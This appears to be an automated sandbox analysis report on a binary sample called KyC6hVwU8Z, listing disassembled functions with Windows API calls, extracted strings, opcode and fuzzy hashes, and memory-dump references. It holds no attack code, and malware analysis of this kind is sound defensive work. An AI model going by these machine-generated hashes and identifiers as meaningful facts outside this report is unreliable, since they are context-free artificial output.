API String ID: 2568140703-0
Opcode ID: d1bcb85b07ad807db0dd8a60bf78d24d83047f6857a9c8c1ffd7cb5a674b078b
Instruction ID: 49b38d7ed9b109d5d259601d861e2456e90758c98cf49ee39282dc4e0721b0f2
Opcode Fuzzy Hash: d1bcb85b07ad807db0dd8a60bf78d24d83047f6857a9c8c1ffd7cb5a674b078b
Instruction Fuzzy Hash: B2F02D3640021DBBCF125F90EC05DEE3F66AB58764F058111BB1965120CB36C972AB91

Function 00202156 Relevance: 2.6, APIs: 2, Instructions: 63
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE(00000000,00000000,CF830579,?,002022E4,00000000,CF830579,00212DB8,0000000C,0020226C,001FAC7B,?), ref: 002021AC
GetLastError.KERNEL32(?,002022E4,00000000,CF830579,00212DB8,0000000C,0020226C,001FAC7B,?), ref: 002021B6

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 47e5225142a1917bac43b7ecdb40809116f6198217617d75f15ebe068ceb3d33
Instruction ID: b28f6e19998915c25935fb724cd9647dac7dc69424a9b49a5783f70ee7a46c1f
Opcode Fuzzy Hash: 47e5225142a1917bac43b7ecdb40809116f6198217617d75f15ebe068ceb3d33
Instruction Fuzzy Hash: A61148336243209ED7252A38B84DBBEA7494B92734F29011BFA1C975D3DF70C8768191

Function 001FB88C Relevance: 1.7, APIs: 1, Instructions: 157
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16377b03b3326cc99a2729dbbe7d8ad274e1b6f0e79e79f55174dbb221e6d12e
Instruction ID: 843f038e316c9ec4d40e77472a3a69dfa3b2004902ede8de12e085bbae706c13
Opcode Fuzzy Hash: 16377b03b3326cc99a2729dbbe7d8ad274e1b6f0e79e79f55174dbb221e6d12e
Instruction Fuzzy Hash: 7351A1B0A0820CAFDB14CF58CCC5EB9BBA5EF59364F258158FA499B252D3719E41CB90

Function 001FE199 Relevance: 1.6, APIs: 1, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(00000083,?,00000005,001FE01A,?), ref: 001FE1CB

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: cfd8604ddd728cf7aeb00b1822ea6f18aeefc253eb818a48729544858fd291b5
Instruction ID: a9557f757583635b9b1799cdd567b69c1b037823a373bbb3630c51e47fb5ae7f
Opcode Fuzzy Hash: cfd8604ddd728cf7aeb00b1822ea6f18aeefc253eb818a48729544858fd291b5
Instruction Fuzzy Hash: 425139B190815CAADB118E28CC88BF9BBEDFF15304F1401E9E699C71A2D335AE45CF60

Function 00202490 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 002025E9

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: f898cde5b24d02ae0fcd7c3dfe83a0ef1109a57061efc4517e89ac61591af529
Instruction ID: 511e6400cd91b213ba12aa5f693c1f244cf41b7b45723ccbc8f7442da91d476a
Opcode Fuzzy Hash: f898cde5b24d02ae0fcd7c3dfe83a0ef1109a57061efc4517e89ac61591af529
Instruction Fuzzy Hash: 4F118F7190420AEFCB05DF58E94599B7BF9EF48304F144066F805AB342DA71ED25CB64

Function 001FED36 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,001FDFD7,?,?,001FDFD7,00000220,?,?,?), ref: 001FED68

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 29d99e738b3bf7abeb92f8234b33aba13dd43b2b7eaaf33dd24ab73929388280
Instruction ID: 362d6811d9104f8f991d11c5e311fbdc53f3fe9ef7416ee6170d1bdbde213b42
Opcode Fuzzy Hash: 29d99e738b3bf7abeb92f8234b33aba13dd43b2b7eaaf33dd24ab73929388280
Instruction Fuzzy Hash: 65E0653114175C56D7222BF59C05BBA36C89F613A0F154221EF05969B2CF20CC0181E1

Function 00207DAC Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,00207A50,?,?,00000000,?,00207A50,00000000,0000000C), ref: 00207DC9

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4217aec43e11751fb8455820bec9888c219d98228c8f501692a066a7de121ae8
Instruction ID: 083dec4b2886d6f0d54896085a43cba1b602f5031e65410bbc42905c75e5698f
Opcode Fuzzy Hash: 4217aec43e11751fb8455820bec9888c219d98228c8f501692a066a7de121ae8
Instruction Fuzzy Hash: 86D06C3200020DBBDF028F84EC06EDA3BAAFB4C724F018000FA1856060C732E872AB90

Non-executed Functions

Function 001F57E2 Relevance: 143.7, APIs: 41, Strings: 41, Instructions: 180libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 001F57F6
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 001F5804
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 001F5815
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 001F5826
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 001F5837
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 001F5848
GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 001F5859
GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 001F586A
GetProcAddress.KERNEL32(00000000,CreateSemaphoreW), ref: 001F587B
GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 001F588C
GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 001F589D
GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 001F58AE
GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 001F58BF
GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 001F58D0
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 001F58E1
GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 001F58F2
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 001F5903
GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 001F5914
GetProcAddress.KERNEL32(00000000,FreeLibraryWhenCallbackReturns), ref: 001F5925
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumber), ref: 001F5936
GetProcAddress.KERNEL32(00000000,CreateSymbolicLinkW), ref: 001F5947
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 001F5958
GetProcAddress.KERNEL32(00000000,GetTickCount64), ref: 001F5969
GetProcAddress.KERNEL32(00000000,GetFileInformationByHandleEx), ref: 001F597A
GetProcAddress.KERNEL32(00000000,SetFileInformationByHandle), ref: 001F598B
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 001F599C
GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 001F59AD
GetProcAddress.KERNEL32(00000000,WakeConditionVariable), ref: 001F59BE
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 001F59CF
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 001F59E0
GetProcAddress.KERNEL32(00000000,InitializeSRWLock), ref: 001F59F1
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 001F5A02
GetProcAddress.KERNEL32(00000000,TryAcquireSRWLockExclusive), ref: 001F5A13
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 001F5A24
GetProcAddress.KERNEL32(00000000,SleepConditionVariableSRW), ref: 001F5A35
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWork), ref: 001F5A46
GetProcAddress.KERNEL32(00000000,SubmitThreadpoolWork), ref: 001F5A57
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWork), ref: 001F5A68
GetProcAddress.KERNEL32(00000000,CompareStringEx), ref: 001F5A79
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 001F5A8A
GetProcAddress.KERNEL32(00000000,LCMapStringEx), ref: 001F5A9B

Strings

FlsFree, xrefs: 001F580A
CreateThreadpoolWait, xrefs: 001F58D6
InitializeSRWLock, xrefs: 001F59E6
GetCurrentPackageId, xrefs: 001F594D
LCMapStringEx, xrefs: 001F5A90
GetFileInformationByHandleEx, xrefs: 001F596F
SubmitThreadpoolWork, xrefs: 001F5A4C
CreateEventExW, xrefs: 001F585F
FlsSetValue, xrefs: 001F582C
CompareStringEx, xrefs: 001F5A6E
AcquireSRWLockExclusive, xrefs: 001F59F7
FlsGetValue, xrefs: 001F581B
GetSystemTimePreciseAsFileTime, xrefs: 001F5991
TryAcquireSRWLockExclusive, xrefs: 001F5A08
GetLocaleInfoEx, xrefs: 001F5A7F
kernel32.dll, xrefs: 001F57F1
ReleaseSRWLockExclusive, xrefs: 001F5A19
SetFileInformationByHandle, xrefs: 001F5980
SetThreadpoolTimer, xrefs: 001F58A3
CloseThreadpoolWork, xrefs: 001F5A5D
InitializeCriticalSectionEx, xrefs: 001F583D
FlsAlloc, xrefs: 001F57FE
CloseThreadpoolWait, xrefs: 001F58F8
SleepConditionVariableSRW, xrefs: 001F5A2A
WakeAllConditionVariable, xrefs: 001F59C4
GetTickCount64, xrefs: 001F595E
InitOnceExecuteOnce, xrefs: 001F584E
WaitForThreadpoolTimerCallbacks, xrefs: 001F58B4
CloseThreadpoolTimer, xrefs: 001F58C5
CreateSymbolicLinkW, xrefs: 001F5941
InitializeConditionVariable, xrefs: 001F59A2
SetThreadpoolWait, xrefs: 001F58E7
CreateThreadpoolWork, xrefs: 001F5A3B
FlushProcessWriteBuffers, xrefs: 001F5909
FreeLibraryWhenCallbackReturns, xrefs: 001F591A
CreateSemaphoreExW, xrefs: 001F5881
WakeConditionVariable, xrefs: 001F59B3
SleepConditionVariableCS, xrefs: 001F59D5
CreateSemaphoreW, xrefs: 001F5870
GetCurrentProcessorNumber, xrefs: 001F592B
CreateThreadpoolTimer, xrefs: 001F5892

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$CloseThreadpoolTimer$CloseThreadpoolWait$CloseThreadpoolWork$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSemaphoreW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$CreateThreadpoolWork$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetFileInformationByHandleEx$GetLocaleInfoEx$GetSystemTimePreciseAsFileTime$GetTickCount64$InitOnceExecuteOnce$InitializeConditionVariable$InitializeCriticalSectionEx$InitializeSRWLock$LCMapStringEx$ReleaseSRWLockExclusive$SetFileInformationByHandle$SetThreadpoolTimer$SetThreadpoolWait$SleepConditionVariableCS$SleepConditionVariableSRW$SubmitThreadpoolWork$TryAcquireSRWLockExclusive$WaitForThreadpoolTimerCallbacks$WakeAllConditionVariable$WakeConditionVariable$kernel32.dll
API String ID: 667068680-295688737
Opcode ID: c5e8f5931bd7d02683fe6b3fa747080c7a6bc5a90675df42fbea3c5a025f73ef
Instruction ID: f08b39d44b798feba2c81a9cd5a51bd6dae3adb92255ad0bb0b99dd40412bdc6
Opcode Fuzzy Hash: c5e8f5931bd7d02683fe6b3fa747080c7a6bc5a90675df42fbea3c5a025f73ef
Instruction Fuzzy Hash: 39616971DE2310AFCB50AFB4BD1D8DA3AA8BE2A741345852AB605D2DF5DFB84021CF54

Function 001C5E50 Relevance: 20.6, Strings: 7, Instructions: 11897COMMON

Download Yara Rule

Strings

P]{?, xrefs: 001C6B9C
C9D~, xrefs: 001C9A9F
d, xrefs: 001CAC0E
P]{?, xrefs: 001C6BAE
P]{?, xrefs: 001C68AE
P]{?, xrefs: 001C6B3A
C9D~, xrefs: 001CD01D

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID:
String ID: C9D~$C9D~$P]{?$P]{?$P]{?$P]{?$d
API String ID: 0-1146462563
Opcode ID: d4ade30a219af112bf87432efe07c2dc046540e9167fb156193903d74b1f1a35
Instruction ID: 3194f0d734068aa85702ba402d681be14108bd8ae355dd89e269d1377c4c17a8
Opcode Fuzzy Hash: d4ade30a219af112bf87432efe07c2dc046540e9167fb156193903d74b1f1a35
Instruction Fuzzy Hash: 7EF32A7BFB5A100B674CC8BA8CA63EB56C357E8314B1EE43E595AD7245ECBDCC060684

Function 001D6FC0 Relevance: 19.2, Strings: 12, Instructions: 4250COMMONLIBRARYCODE

Download Yara Rule

Strings

Ur7, xrefs: 001D766C
Ur7, xrefs: 001D95C9
Ur7, xrefs: 001D76DB
Ur7, xrefs: 001D6FDF
Vr7, xrefs: 001D8AE6
Ur7, xrefs: 001D76A2
Vr7, xrefs: 001D8ADB
Ur7, xrefs: 001D6FF0
Vr7, xrefs: 001D95C4
Vr7, xrefs: 001D7687
Ur7, xrefs: 001D9EEC
Ur7, xrefs: 001D8724

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID:
String ID: Ur7$Ur7$Ur7$Ur7$Ur7$Ur7$Ur7$Ur7$Vr7$Vr7$Vr7$Vr7
API String ID: 0-354343260
Opcode ID: 17b00955d93d3fdc83bcfc85406b4d5e5ecf0e1b3f56796931066418e356b88d
Instruction ID: 85a52d2b42f45767df2b9a9dc68dd5575a4b7355327dd4153a322236ea499e08
Opcode Fuzzy Hash: 17b00955d93d3fdc83bcfc85406b4d5e5ecf0e1b3f56796931066418e356b88d
Instruction Fuzzy Hash: C533FA6BBA15101FFB48887988EA3D71BC347E6314F1BF43A4999C7292DC6F884E5B50

Function 001EBD10 Relevance: 12.0, Strings: 2, Instructions: 9533COMMON

Download Yara Rule

Strings

*Ij, xrefs: 001EC28E
*Ij, xrefs: 001EBF15

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID:
String ID: *Ij$*Ij
API String ID: 0-1840074257
Opcode ID: 005cfdb75a6865ecd2636b2a2e04db7c2c139c5872187340fdec75d2d6d83a71
Instruction ID: ff6e4e6ea8795ba9253ad7660e18eb0413a866d4de7830e07ada33453a1117f1
Opcode Fuzzy Hash: 005cfdb75a6865ecd2636b2a2e04db7c2c139c5872187340fdec75d2d6d83a71
Instruction Fuzzy Hash: 9EC30C7BBA15100FFB488879C8AA3D75BC347E6314F1BE43A4999C7252DCAF884E5B50

Function 00204E72 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1479COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00205089

Strings

1#INF, xrefs: 00204FA8
1#SNAN, xrefs: 00204F7E
1#IND, xrefs: 00204F77
1#QNAN, xrefs: 00204F85

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: d60f0fb687eac54fcb16fa97f20ea0f3918c7298a52e73391445b6a85d783a19
Instruction ID: 0f04927fa0282a1baa8b369cda4cc2d7c887b2bbd5b1bd53e5d3dd92f69f3ac3
Opcode Fuzzy Hash: d60f0fb687eac54fcb16fa97f20ea0f3918c7298a52e73391445b6a85d783a19
Instruction Fuzzy Hash: E1D24A71E286298FDB64CF28DD447EAB7B5EB44304F1441EAD40DE7282E778AE918F41

Function 001F2820 Relevance: 9.7, Strings: 6, Instructions: 2235COMMON

Download Yara Rule

Strings

*Ij, xrefs: 001F292D
rm1/, xrefs: 001F3ECA
rm1/, xrefs: 001F3E4A
qm1/, xrefs: 001F3EAA
*Ij, xrefs: 001F2B47
*Ij, xrefs: 001F2CF2

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID:
String ID: *Ij$*Ij$*Ij$qm1/$rm1/$rm1/
API String ID: 0-4165714967
Opcode ID: 51cc8eb4538ec067bfee78b36f97c06c353669195de89a17b94433361ce549fc
Instruction ID: b882835b52e3c78fe1eea822e256a2bd26f081f2332251c4edf45673aa565409
Opcode Fuzzy Hash: 51cc8eb4538ec067bfee78b36f97c06c353669195de89a17b94433361ce549fc
Instruction Fuzzy Hash: 17D2D42BB956101FFB448879C4FA3E71BC347A6314F2BB43A4999C7292DC5B884E9F50

Function 001E9B80 Relevance: 9.4, Strings: 6, Instructions: 1892COMMON

Download Yara Rule

Strings

~r, xrefs: 001EA095
;h, xrefs: 001E9B8C
~r, xrefs: 001E9BE9
;h, xrefs: 001EA043
;h, xrefs: 001E9C36
~r, xrefs: 001EA7D8

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID:
String ID: ~r$ ~r$ ~r$;h$;h$;h
API String ID: 0-3426399392
Opcode ID: 69f50c42400870ba693d177d5315a2eb94fac4ca90f4a89e9686b17e86d10eb2
Instruction ID: 5c0cb1f13908e793c8281acb04dcb37c148f51d633cc2b01c04ad8744a6af12b
Opcode Fuzzy Hash: 69f50c42400870ba693d177d5315a2eb94fac4ca90f4a89e9686b17e86d10eb2
Instruction Fuzzy Hash: EDB2FB7BB655100FEB48847688EA3EB1BC347E6314F2BF43A4989C7252DC6F484E5B94

Function 001C4E60 Relevance: 7.3, APIs: 4, Instructions: 1313threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 001C4EB6
std::_Throw_Cpp_error.LIBCPMT ref: 001C5E40
std::_Throw_Cpp_error.LIBCPMT ref: 001C5E47

Memory Dump Source

Source File: 00000000.00000002.3095420175.00000000001B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.3095354294.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095501708.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095530468.0000000000213000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095590868.0000000000214000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095613630.0000000000217000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3095641891.0000000000219000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_KyC6hVwU8Z.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CurrentThread
String ID:
API String ID: 2261580123-0
Opcode ID: 92d23829256d373fa7c97983d72f1b98ad3f1dc50efd50d4b0f5a9f413e89c6d
Instruction ID: d951386e5eceef437f6b7337cdf04451fc53b365b017eb23ef9e70276697ee5a
Opcode Fuzzy Hash: 92d23829256d373fa7c97983d72f1b98ad3f1dc50efd50d4b0f5a9f413e89c6d
